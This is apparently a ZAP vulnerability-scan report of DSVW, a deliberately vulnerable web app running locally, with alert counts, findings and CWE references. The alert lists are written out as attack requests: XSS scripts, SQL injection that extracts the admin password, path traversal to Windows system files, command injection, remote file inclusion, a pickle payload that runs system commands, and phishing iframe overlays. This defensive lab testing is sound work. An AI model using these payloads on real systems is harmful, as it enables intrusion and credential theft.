ZAP Scanning Report

Generated with The ZAP logoZAP on czw. 13 sty 2022, at 20:20:31

Contents

1. About this report
   1. Report description
   2. Report parameters
2. Summaries
   1. Alert counts by risk and confidence
   2. Alert counts by site and risk
   3. Alert counts by alert type
3. Alerts
   1. Risk=Wysoki, Confidence=Średni (13)
   2. Risk=Wysoki, Confidence=Niski (4)
   3. Risk=Średni, Confidence=Średni (37)
   4. Risk=Niski, Confidence=Średni (39)
   5. Risk=Niski, Confidence=Niski (14)
   6. Risk=Informacyjny, Confidence=Średni (6)
   7. Risk=Informacyjny, Confidence=Niski (28)
4. Appendix
   1. Alert types

About this report

Report description

Attact on website from: https://awesomeopensource.com/project/stamparm/DSVW

Report parameters

Contexts

No contexts were selected, so all contexts were included by default.

Sites

The following sites were included:

- http://127.0.0.1:65412

(If no sites were selected, all sites were included by default.)

An included site must also be within one of the included contexts for its data to be included in the report.

Risk levels

Included: Wysoki, Średni, Niski, Informacyjny

Excluded: None

Confidence levels

Included: User Confirmed, Wysoki, Średni, Niski

Excluded: User Confirmed, Wysoki, Średni, Niski, False Positive

Summaries

Alert counts by risk and confidence

This table shows the number of alerts for each level of risk and confidence included in the report.

(The percentages in brackets represent the count as a percentage of the total number of alerts included in the report, rounded to one decimal place.)

				Confidence		
		User Confirmed	Wysoki	Średni	Niski	Total
Risk	Wysoki	0 (0,0%)	0 (0,0%)	13 (9,2%)	4 (2,8%)	17 (12,1%)
	Średni	0 (0,0%)	0 (0,0%)	37 (26,2%)	0 (0,0%)	37 (26,2%)
	Niski	0 (0,0%)	0 (0,0%)	39 (27,7%)	14 (9,9%)	53 (37,6%)
	Informacyjny	0 (0,0%)	0 (0,0%)	6 (4,3%)	28 (19,9%)	34 (24,1%)

	Confidence				
	User Confirmed	**Wysoki**	**Średni**	**Niski**	**Total**
Total	0 (0,0%)	0 (0,0%)	95 (67,4%)	46 (32,6%)	141 (100%)

Alert counts by site and risk

This table shows, for each site for which one or more alerts were raised, the number of alerts raised at each risk level.

Alerts with a confidence level of "False Positive" have been excluded from these counts.

(The numbers in brackets are the number of alerts raised for the site at or above that risk level.)

		Risk			
		Wysoki (= Wysoki)	**Średni (>= Średni)**	**Niski (>= Niski)**	**Informacyjny (>= Informacyjny)**
Site	**http://127.0.0.1:65412**	17 (17)	37 (54)	53 (107)	34 (141)

Alert counts by alert type

This table shows the number of alerts of each alert type, together with the alert type's risk level.

(The percentages in brackets represent each count as a percentage, rounded to one decimal place, of the total number of alerts included in this report.)

Alert type	Risk	Count
Cross Site Scripting (Reflected)	Wysoki	6 (4,3%)
External Redirect	Wysoki	1 (0,7%)
Obchodzenie Ścieżki	Wysoki	1 (0,7%)
SQL Injection - SQLite	Wysoki	8 (5,7%)
Zdalne włączanie plików	Wysoki	1 (0,7%)
Missing Anti-clickjacking Header	Średni	27 (19,1%)
Przepełnienie bufora	Średni	10 (7,1%)
Absence of Anti-CSRF Tokens	Niski	1 (0,7%)
Application Error Disclosure	Niski	4 (2,8%)
Timestamp Disclosure - Unix	Niski	14 (9,9%)
X-Content-Type-Options Header Missing	Niski	34 (24,1%)
Information Disclosure - Sensitive Information in URL	Informacyjny	6 (4,3%)
Information Disclosure - Suspicious Comments	Informacyjny	28 (19,9%)
Total		141

Alerts

1. **Risk=Wysoki, Confidence=Średni (13)**
    1. **http://127.0.0.1:65412 (13)**
        1. Cross Site Scripting (Reflected) **(2)**
            1. ▶ GET http://127.0.0.1:65412/?redir=%22%3E%3CscrIpt%3Ealert%281%29%3B%3C%2FscRipt%3E
            2. ▶ GET http://127.0.0.1:65412/?v=%3C%2Fb%3E%3CscrIpt%3Ealert%281%29%3B%3C%2FscRipt%3E%3Cb%3E
        2. External Redirect **(1)**
            1. ▶ GET http://127.0.0.1:65412/?redir=7304367400463023930.owasp.org
        3. Obchodzenie Ścieżki **(1)**
            1. ▶ GET http://127.0.0.1:65412/?path=c%3A%2FWindows%2Fsystem.ini
        4. SQL Injection - SQLite **(8)**

1. ▶ GET http://127.0.0.1:65412/?comment=%27
2. ▶ GET http://127.0.0.1:65412/?id=2+UNION+ALL+SELECT+NULL%2C+NULL%2C+NULL%2C+%28SELECT+id%7C%7C%27%2C%27%7C%7Cusername%7C%7C
3. ▶ GET http://127.0.0.1:65412/login?username=&password=%27%28
4. ▶ GET http://127.0.0.1:65412/login?username=admin&password=%27%2F*&password=%27&password=*%2F%271%27%2F*&password=*%2FLIKE%2F*&password=*%2F
5. ▶ GET http://127.0.0.1:65412/login?username=admin&password=%27%2F*&password=*%2FOR%2F*&password=%27&password=*%2FLIKE%2F*&password=*%2F%271
6. ▶ GET http://127.0.0.1:65412/login?username=admin&password=%27%2F*&password=*%2FOR%2F*&password=*%2F%271%27%2F*&password=%27&password=*%2F%
7. ▶ GET http://127.0.0.1:65412/login?username=admin&password=%27%2F*&password=*%2FOR%2F*&password=*%2F%271%27%2F*&password=*%2FLIKE%2F*&passw
8. ▶ GET http://127.0.0.1:65412/login?username=admin&password=%27&password=*%2FOR%2F*&password=*%2F%271%27%2F*&password=*%2FLIKE%2F*&password=

5. **Zdalne włączanie plików (1)**

   1. ▶ GET http://127.0.0.1:65412/?path=http%3A%2F%2Fwww.google.com%2F

2. **Risk=Wysoki, Confidence=Niski (4)**

   1. **http://127.0.0.1:65412 (4)**

      1. **Cross Site Scripting (Reflected) (4)**

         1. ▶ GET http://127.0.0.1:65412/?include=%3CscrIpt%3Ealert%281%29%3B%3C%2FscRipt%3E
         2. ▶ GET http://127.0.0.1:65412/?include=%3CscrIpt%3Ealert%281%29%3B%3C%2FscRipt%3E&cmd=ipconfig
         3. ▶ GET http://127.0.0.1:65412/?size=%3CscrIpt%3Ealert%281%29%3B%3C%2FscRipt%3E
         4. ▶ GET http://127.0.0.1:65412/users.json?callback=%3CscrIpt%3Ealert%281%29%3B%3C%2FscRipt%3E

3. **Risk=Średni, Confidence=Średni (37)**

   1. **http://127.0.0.1:65412 (37)**

      1. **Missing Anti-clickjacking Header (27)**

         1. ▶ GET http://127.0.0.1:65412
         2. ▶ GET http://127.0.0.1:65412/
         3. ▶ GET http://127.0.0.1:65412/?charset=utf8
         4. ▶ GET http://127.0.0.1:65412/?charset=utf8%0D%0AX-XSS-Protection:0%0D%0AContent-Length:388%0D%0A%0D%0A%3C!DOCTYPE%20html%3E%3Chtml%3E%3Chead%3E%3Ctitle%3ELogin%3C%2Ftitle%3E%3C%2Fh
         5. ▶ GET http://127.0.0.1:65412/?comment=
         6. ▶ GET http://127.0.0.1:65412/?comment=%3Cdiv%20style%3D%22color%3Ared%3B%20font-weight%3A%20bold%22%3EI%20quit%20the%20job%3C%2Fdiv%3E
         7. ▶ GET http://127.0.0.1:65412/?comment=%3Cscript%3Ealert(%22arbitrary%20javascript%22)%3C%2Fscript%3E
         8. ▶ GET http://127.0.0.1:65412/?comment=true
         9. ▶ GET http://127.0.0.1:65412/?foobar
         10. ▶ GET http://127.0.0.1:65412/?id=(SELECT%20(CASE%20WHEN%20(SUBSTR((SELECT%20password%20FROM%20users%20WHERE%20name%3D%27admin%27)%
         11. ▶ GET http://127.0.0.1:65412/?id=2
         12. ▶ GET http://127.0.0.1:65412/?id=2%20AND%20SUBSTR((SELECT%20password%20FROM%20users%20WHERE%20name%3D%27admin%27)%2C1%2C1)%3D%2
         13. ▶ GET http://127.0.0.1:65412/?id=2%20UNION%20ALL%20SELECT%20NULL%2C%20NULL%2C%20NULL%2C%20(SELECT%20id%7C%7C%27%2C%27%7C%
         14. ▶ GET http://127.0.0.1:65412/?include=
         15. ▶ GET http://127.0.0.1:65412/?path=
         16. ▶ GET http://127.0.0.1:65412/?redir=
         17. ▶ GET http://127.0.0.1:65412/?redir=http%3A%2F%2Fdsvw.c1.biz
         18. ▶ GET http://127.0.0.1:65412/?size=32
         19. ▶ GET http://127.0.0.1:65412/?v=%3Cimg%20src%3D%22%2F%3Fcomment%3D%253Cdiv%2520style%253D%2522color%253Ared%253B%2520font-weight%253A%2520bold%2522%253EI%2520quit%2520the%2520job%253C%252Fdiv%253E%22%3E
         20. ▶ GET http://127.0.0.1:65412/?v=0.2
         21. ▶ GET http://127.0.0.1:65412/?v=0.2%3Cdiv%20style%3D%22opacity%3A0%3Bfilter%3Aalpha(opacity%3D20)%3Bbackground-color%3A%23000%3Bwidth%3A100%25%3Bheight%3A100%25%3Bz-index%3A10%3Btop%3A0%3Bleft%3A0%3Bposition%3Afixed%3B%22%20onclick%3D%22document.location%3D%27http%3A%2F%2
         22. ▶ GET http://127.0.0.1:65412/?v=0.2%3Ciframe%20src%3D%22http%3A%2F%2Fdsvw.c1.biz%2F%22%20style%3D%22background-color%3Awhite%3Bwidth%3A100%25%3Bheight%3A100%25%3Bz-index%3A10%3Btop%3A0%3Bleft%3A0%3Bposition%3Afixed%3B%22%20frameborder%3D%220%22%3E%3C%2Fiframe%3E
         23. ▶ GET http://127.0.0.1:65412/?v=0.2%3Ciframe%20src%3D%22http%3A%2F%2Fdsvw.c1.biz%2Fi%2Flogin.html%22%20style%3D%22background-color%3Awhite%3Bz-index%3A10%3Btop%3A10%25%3Bleft%3A10%25%3Bposition%3Afixed%3Bborder-collapse%3Acollapse%3Bborder%3A1px%20solid%20%23a8a8a8%22%3E%3C%2Fiframe%3E
         24. ▶ GET http://127.0.0.1:65412/?v=0.2%3Cscript%3Ealert(%22arbitrary%20javascript%22)%3C%2Fscript%3E
         25. ▶ GET http://127.0.0.1:65412/login?username=&password=
         26. ▶ GET http://127.0.0.1:65412/login?username=admin&password=%27%20OR%20%271%27%20LIKE%20%271
         27. ▶ GET http://127.0.0.1:65412/login?username=admin&password=%27%2F*&password=*%2FOR%2F*&password=*%2F%271%27%2F*&password=*%2FLIKE%2F*&passw

      2. **Przepełnienie bufora (10)**

         1. ▶ GET http://127.0.0.1:65412/?id=2%20UNION%20ALL%20SELECT%20NULL%2C%20NULL%2C%20NULL%2C%20(SELECT%20id%7C%7C%27%2C%27%7C%
         2. ▶ GET http://127.0.0.1:65412/?include=

3. ▶ GET http://127.0.0.1:65412/?object=cos%0Asystem%0A(S%27ping%20-n%205%20127.0.0.1%27%0AtR.%0A
4. ▶ GET http://127.0.0.1:65412/?path=..%5C..%5C..%5C..%5C..%5CWindows%5Cwin.ini
5. ▶ GET http://127.0.0.1:65412/?size=32
6. ▶ GET http://127.0.0.1:65412/login?username=admin&password=%27%2F*&password=*%2FOR%2F*&password=*%2F%271%27%2F*&password=*%2FLIKE%2F*&passw
7. ▶ GET http://127.0.0.1:65412/login?username=admin&password=%27%2F*&password=*%2FOR%2F*&password=*%2F%271%27%2F*&password=*%2FLIKE%2F*&passw
8. ▶ GET http://127.0.0.1:65412/login?username=admin&password=%27%2F*&password=*%2FOR%2F*&password=*%2F%271%27%2F*&password=*%2FLIKE%2F*&passw
9. ▶ GET http://127.0.0.1:65412/login?username=admin&password=%27%2F*&password=*%2FOR%2F*&password=*%2F%271%27%2F*&password=*%2FLIKE%2F*&passw
10. ▶ GET http://127.0.0.1:65412/login?username=admin&password=%27%2F*&password=*%2FOR%2F*&password=*%2F%271%27%2F*&password=*%2FLIKE%2F*&passw

4. **Risk=Niski, Confidence=Średni (39)**

    1. **http://127.0.0.1:65412 (39)**

        1. **Absence of Anti-CSRF Tokens (1)**

            1. ▶ GET http://127.0.0.1:65412/?charset=utf8%0D%0AX-XSS-Protection:0%0D%0AContent-Length:388%0D%0A%0D%0A%3C!DOCTYPE%20html%3E%3Chtml%3E%3Chead%3E%3Ctitle%3ELogin%3C%2Ftitle%3E%3C%2Fh

        2. **Application Error Disclosure (4)**

            1. ▶ GET http://127.0.0.1:65412/?domain=www.google.com%26%20ipconfig
            2. ▶ GET http://127.0.0.1:65412/?include=http%3A%2F%2Fpastebin.com%2Fraw.php%3Fi%3D6VyyNNhc&cmd=ipconfig
            3. ▶ GET http://127.0.0.1:65412/?object=%80%04%95t%00%00%00%00%00%00%00%7D%94%28%8C%05admin%94%8C%05admin%94%8C%05admin%94%86%94%8
            4. ▶ GET http://127.0.0.1:65412/?path=foobar

        3. **X-Content-Type-Options Header Missing (34)**

            1. ▶ GET http://127.0.0.1:65412
            2. ▶ GET http://127.0.0.1:65412/
            3. ▶ GET http://127.0.0.1:65412/?charset=utf8
            4. ▶ GET http://127.0.0.1:65412/?charset=utf8%0D%0AX-XSS-Protection:0%0D%0AContent-Length:388%0D%0A%0D%0A%3C!DOCTYPE%20html%3E%3Chtml%3E%3Chead%3E%3Ctitle%3ELogin%3C%2Ftitle%3E%3C%2Fh
            5. ▶ GET http://127.0.0.1:65412/?comment=
            6. ▶ GET http://127.0.0.1:65412/?comment=%3Cdiv%20style%3D%22color%3Ared%3B%20font-weight%3A%20bold%22%3EI%20quit%20the%20job%3C%2Fdiv%3E
            7. ▶ GET http://127.0.0.1:65412/?comment=%3Cscript%3Ealert(%22arbitrary%20javascript%22)%3C%2Fscript%3E
            8. ▶ GET http://127.0.0.1:65412/?comment=true
            9. ▶ GET http://127.0.0.1:65412/?domain=www.google.com
            10. ▶ GET http://127.0.0.1:65412/?foobar
            11. ▶ GET http://127.0.0.1:65412/?id=(SELECT%20(CASE%20WHEN%20(SUBSTR((SELECT%20password%20FROM%20users%20WHERE%20name%3D%27admin%27)%
            12. ▶ GET http://127.0.0.1:65412/?id=2
            13. ▶ GET http://127.0.0.1:65412/?id=2%20AND%20SUBSTR((SELECT%20password%20FROM%20users%20WHERE%20name%3D%27admin%27)%2C1%2C1)%3D%2
            14. ▶ GET http://127.0.0.1:65412/?id=2%20UNION%20ALL%20SELECT%20NULL%2C%20NULL%2C%20NULL%2C%20(SELECT%20id%7C%7C%27%2C%27%7C%
            15. ▶ GET http://127.0.0.1:65412/?include=
            16. ▶ GET http://127.0.0.1:65412/?object=cos%0Asystem%0A(S%27ping%20-n%205%20127.0.0.1%27%0AtR.%0A
            17. ▶ GET http://127.0.0.1:65412/?path=
            18. ▶ GET http://127.0.0.1:65412/?path=%5C%5C127.0.0.1%5CC%24%5CWindows%5Cwin.ini
            19. ▶ GET http://127.0.0.1:65412/?path=..%5C..%5C..%5C..%5C..%5CWindows%5Cwin.ini
            20. ▶ GET http://127.0.0.1:65412/?path=dsvw.py
            21. ▶ GET http://127.0.0.1:65412/?redir=
            22. ▶ GET http://127.0.0.1:65412/?redir=http%3A%2F%2Fdsvw.c1.biz
            23. ▶ GET http://127.0.0.1:65412/?size=32
            24. ▶ GET http://127.0.0.1:65412/?v=%3Cimg%20src%3D%22%2F%3Fcomment%3D%253Cdiv%2520style%253D%2522color%253Ared%253B%2520font-weight%253A%2520bold%2522%253EI%2520quit%2520the%2520job%253C%252Fdiv%253E%22%3E
            25. ▶ GET http://127.0.0.1:65412/?v=0.2
            26. ▶ GET http://127.0.0.1:65412/?v=0.2%3Cdiv%20style%3D%22opacity%3A0%3Bfilter%3Aalpha(opacity%3D20)%3Bbackground-color%3A%23000%3Bwidth%3A100%25%3Bheight%3A100%25%3Bz-index%3A10%3Btop%3A0%3Bleft%3A0%3Bposition%3Afixed%3B%22%20onclick%3D%22document.location%3D%27http%3A%2F%2
            27. ▶ GET http://127.0.0.1:65412/?v=0.2%3Ciframe%20src%3D%22http%3A%2F%2Fdsvw.c1.biz%2F%22%20style%3D%22background-color%3Awhite%3Bwidth%3A100%25%3Bheight%3A100%25%3Bz-index%3A10%3Btop%3A0%3Bleft%3A0%3Bposition%3Afixed%3B%22%20frameborder%3D%220%22%3E%3C%2Fiframe%3E
            28. ▶ GET http://127.0.0.1:65412/?v=0.2%3Ciframe%20src%3D%22http%3A%2F%2Fdsvw.c1.biz%2Fi%2Flogin.html%22%20style%3D%22background-color%3Awhite%3Bz-index%3A10%3Btop%3A10%25%3Bleft%3A10%25%3Bposition%3Afixed%3Bborder-collapse%3Acollapse%3Bborder%3A1px%20solid%20%23a8a8a8%22%3E%3C%2Fiframe%3E
            29. ▶ GET http://127.0.0.1:65412/?v=0.2%3Cscript%3Ealert(%22arbitrary%20javascript%22)%3C%2Fscript%3E
            30. ▶ GET http://127.0.0.1:65412/login?username=&password=
            31. ▶ GET http://127.0.0.1:65412/login?username=admin&password=%27%20OR%20%271%27%20LIKE%20%271
            32. ▶ GET http://127.0.0.1:65412/login?username=admin&password=%27%2F*&password=*%2FOR%2F*&password=*%2F%271%27%2F*&password=*%2FLIKE%2F*&passw
            33. ▶ GET http://127.0.0.1:65412/users.json?callback=alert(%22arbitrary%20javascript%22)%3Bprocess
            34. ▶ GET http://127.0.0.1:65412/users.json?callback=process

5. **Risk=Niski, Confidence=Niski (14)**

1. **http://127.0.0.1:65412 (14)**

    1. **Timestamp Disclosure - Unix (14)**

        1. ▶ GET http://127.0.0.1:65412
        2. ▶ GET http://127.0.0.1:65412/
        3. ▶ GET http://127.0.0.1:65412/?charset=utf8
        4. ▶ GET http://127.0.0.1:65412/?foobar
        5. ▶ GET http://127.0.0.1:65412/?include=
        6. ▶ GET http://127.0.0.1:65412/?path=
        7. ▶ GET http://127.0.0.1:65412/?path=dsvw.py
        8. ▶ GET http://127.0.0.1:65412/?redir=
        9. ▶ GET http://127.0.0.1:65412/?v=%3Cimg%20src%3D%22%2F%3Fcomment%3D%253Cdiv%2520style%253D%2522color%253Ared%253B%2520font-weight%253A%2520bold%2522%253EI%2520quit%2520the%2520job%253C%252Fdiv%253E%22%3E
        10. ▶ GET http://127.0.0.1:65412/?v=0.2
        11. ▶ GET http://127.0.0.1:65412/?v=0.2%3Cdiv%20style%3D%22opacity%3A0%3Bfilter%3Aalpha(opacity%3D20)%3Bbackground-color%3A%23000%3Bwidth%3A100%25%3Bheight%3A100%25%3Bz-index%3A10%3Btop%3A0%3Bleft%3A0%3Bposition%3Afixed%3B%22%20onclick%3D%22document.location%3D%27http%3A%2F%2
        12. ▶ GET http://127.0.0.1:65412/?v=0.2%3Ciframe%20src%3D%22http%3A%2F%2Fdsvw.c1.biz%2F%22%20style%3D%22background-color%3Awhite%3Bwidth%3A100%25%3Bheight%3A100%25%3Bz-index%3A10%3Btop%3A0%3Bleft%3A0%3Bposition%3Afixed%3B%22%20frameborder%3D%220%22%3E%3C%2Fiframe%3E
        13. ▶ GET http://127.0.0.1:65412/?v=0.2%3Ciframe%20src%3D%22http%3A%2F%2Fdsvw.c1.biz%2Fi%2Flogin.html%22%20style%3D%22background-color%3Awhite%3Bz-index%3A10%3Btop%3A10%25%3Bleft%3A10%25%3Bposition%3Afixed%3Bborder-collapse%3Acollapse%3Bborder%3A1px%20solid%20%23a8a8a8%22%3E%3C%2Fiframe%3E
        14. ▶ GET http://127.0.0.1:65412/?v=0.2%3Cscript%3Ealert(%22arbitrary%20javascript%22)%3C%2Fscript%3E

6. Risk=Informacyjny, Confidence=Średni (6)

1. **http://127.0.0.1:65412 (6)**

    1. **Information Disclosure - Sensitive Information in URL (6)**

        1. ▶ GET http://127.0.0.1:65412/login?username=&password=
        2. ▶ GET http://127.0.0.1:65412/login?username=&password=
        3. ▶ GET http://127.0.0.1:65412/login?username=admin&password=%27%20OR%20%271%27%20LIKE%20%271
        4. ▶ GET http://127.0.0.1:65412/login?username=admin&password=%27%20OR%20%271%27%20LIKE%20%271
        5. ▶ GET http://127.0.0.1:65412/login?username=admin&password=%27%2F*&password=*%2FOR%2F*&password=*%2F%271%27%2F*&password=*%2FLIKE%2F*&passw
        6. ▶ GET http://127.0.0.1:65412/login?username=admin&password=%27%2F*&password=*%2FOR%2F*&password=*%2F%271%27%2F*&password=*%2FLIKE%2F*&passw

7. Risk=Informacyjny, Confidence=Niski (28)

1. **http://127.0.0.1:65412 (28)**

    1. **Information Disclosure - Suspicious Comments (28)**

        1. ▶ GET http://127.0.0.1:65412
        2. ▶ GET http://127.0.0.1:65412/
        3. ▶ GET http://127.0.0.1:65412/?charset=utf8
        4. ▶ GET http://127.0.0.1:65412/?comment=
        5. ▶ GET http://127.0.0.1:65412/?comment=%3Cdiv%20style%3D%22color%3Ared%3B%20font-weight%3A%20bold%22%3EI%20quit%20the%20job%3C%2Fdiv%3E
        6. ▶ GET http://127.0.0.1:65412/?comment=%3Cscript%3Ealert(%22arbitrary%20javascript%22)%3C%2Fscript%3E
        7. ▶ GET http://127.0.0.1:65412/?comment=true
        8. ▶ GET http://127.0.0.1:65412/?foobar
        9. ▶ GET http://127.0.0.1:65412/?id=(SELECT%20(CASE%20WHEN%20(SUBSTR((SELECT%20password%20FROM%20users%20WHERE%20name%3D%27admin%27)%
        10. ▶ GET http://127.0.0.1:65412/?id=2
        11. ▶ GET http://127.0.0.1:65412/?id=2%20AND%20SUBSTR((SELECT%20password%20FROM%20users%20WHERE%20name%3D%27admin%27)%2C1%2C1)%3D%2
        12. ▶ GET http://127.0.0.1:65412/?id=2%20UNION%20ALL%20SELECT%20NULL%2C%20NULL%2C%20NULL%2C%20(SELECT%20id%7C%7C%27%2C%27%7C%
        13. ▶ GET http://127.0.0.1:65412/?include=
        14. ▶ GET http://127.0.0.1:65412/?path=
        15. ▶ GET http://127.0.0.1:65412/?path=dsvw.py
        16. ▶ GET http://127.0.0.1:65412/?redir=
        17. ▶ GET http://127.0.0.1:65412/?redir=http%3A%2F%2Fdsvw.c1.biz
        18. ▶ GET http://127.0.0.1:65412/?size=32
        19. ▶ GET http://127.0.0.1:65412/?v=%3Cimg%20src%3D%22%2F%3Fcomment%3D%253Cdiv%2520style%253D%2522color%253Ared%253B%2520font-weight%253A%2520bold%2522%253EI%2520quit%2520the%2520job%253C%252Fdiv%253E%22%3E
        20. ▶ GET http://127.0.0.1:65412/?v=0.2
        21. ▶ GET http://127.0.0.1:65412/?v=0.2%3Cdiv%20style%3D%22opacity%3A0%3Bfilter%3Aalpha(opacity%3D20)%3Bbackground-color%3A%23000%3Bwidth%3A100%25%3Bheight%3A100%25%3Bz-index%3A10%3Btop%3A0%3Bleft%3A0%3Bposition%3Afixed%3B%22%20onclick%3D%22document.location%3D%27http%3A%2F%2
        22. ▶ GET http://127.0.0.1:65412/?v=0.2%3Ciframe%20src%3D%22http%3A%2F%2Fdsvw.c1.biz%2F%22%20style%3D%22background-color%3Awhite%3Bwidth%3A100%25%3Bheight%3A100%25%3Bz-index%3A10%3Btop%3A0%3Bleft%3A0%3Bposition%3Afixed%3B%22%20frameborder%3D%220%22%3E%3C%2Fiframe%3E
        23. ▶ GET http://127.0.0.1:65412/?v=0.2%3Ciframe%20src%3D%22http%3A%2F%2Fdsvw.c1.biz%2Fi%2Flogin.html%22%20style%3D%22background-

color%3Awhite%3Bz-index%3A10%3Btop%3A10%25%3Bleft%3A10%25%3Bposition%3Afixed%3Bborder-collapse%3Acollapse%3Bborder%3A1px%20solid%20%23a8a8a8%22%3E%3C%2Fiframe%3E

24. ▶ GET http://127.0.0.1:65412/?v=0.2%3Cscript%3Ealert(%22arbitrary%20javascript%22)%3C%2Fscript%3E
25. ▶ GET http://127.0.0.1:65412/favicon.ico
26. ▶ GET http://127.0.0.1:65412/login?username=&password=
27. ▶ GET http://127.0.0.1:65412/login?username=admin&password=%27%20OR%20%271%27%20LIKE%20%271
28. ▶ GET http://127.0.0.1:65412/login?username=admin&password=%27%2F*&password=*%2FOR%2F*&password=*%2F%271%27%2F*&password=*%2FLIKE%2F*&passw

Appendix

Alert types

This section contains additional information on the types of alerts in the report.

1. **Cross Site Scripting (Reflected)**

Source	raised by an active scanner (Cross Site Scripting (Reflected))
CWE ID	79
WASC ID	8
Reference	1. http://projects.webappsec.org/Cross-Site-Scripting 2. http://cwe.mitre.org/data/definitions/79.html

2. **External Redirect**

Source	raised by an active scanner (External Redirect)
CWE ID	601
WASC ID	38
Reference	1. http://projects.webappsec.org/URL-Redirector-Abuse 2. http://cwe.mitre.org/data/definitions/601.html

3. **Obchodzenie Ścieżki**

Source	raised by an active scanner (Obchodzenie Ścieżki)
CWE ID	22
WASC ID	33
Reference	1. http://projects.webappsec.org/Path-Traversal 2. http://cwe.mitre.org/data/definitions/22.html

4. **SQL Injection - SQLite**

Source	raised by an active scanner (SQL Injection)
CWE ID	89
WASC ID	19
Reference	1. https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html

5. **Zdalne włączanie plików**

Source	raised by an active scanner (Zdalne włączanie plików)
CWE ID	98
WASC ID	5
Reference	1. http://projects.webappsec.org/Remote-File-Inclusion 2. http://cwe.mitre.org/data/definitions/98.html

6. **Missing Anti-clickjacking Header**

Source	raised by a passive scanner (Anti-clickjacking Header)
CWE ID	1021
WASC ID	15
Reference	1. https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options

7. **Przepełnienie bufora**

Source	raised by an active scanner (Przepełnienie bufora)
CWE ID	120
WASC ID	7
Reference	1. https://owasp.org/www-community/attacks/Buffer_overflow_attack

8. **Absence of Anti-CSRF Tokens**

Source	raised by a passive scanner (Absence of Anti-CSRF Tokens)
CWE ID	352
WASC ID	9
Reference	1. http://projects.webappsec.org/Cross-Site-Request-Forgery 2. http://cwe.mitre.org/data/definitions/352.html

9. **Application Error Disclosure**

Source	raised by a passive scanner (Application Error Disclosure)
CWE ID	200
WASC ID	13

10. **Timestamp Disclosure - Unix**

Source	raised by a passive scanner (Timestamp Disclosure)
CWE ID	200
WASC ID	13
Reference	1. http://projects.webappsec.org/w/page/13246936/Information%20Leakage

11. **X-Content-Type-Options Header Missing**

Source	raised by a passive scanner (X-Content-Type-Options Header Missing)
CWE ID	693
WASC ID	15
Reference	1. http://msdn.microsoft.com/en-us/library/ie/gg622941%28v=vs.85%29.aspx 2. https://owasp.org/www-community/Security_Headers

12. **Information Disclosure - Sensitive Information in URL**

Source	raised by a passive scanner (Information Disclosure - Sensitive Information in URL)
CWE ID	200
WASC ID	13

13. **Information Disclosure - Suspicious Comments**

Source	raised by a passive scanner (Information Disclosure - Suspicious Comments)
CWE ID	200
WASC ID	13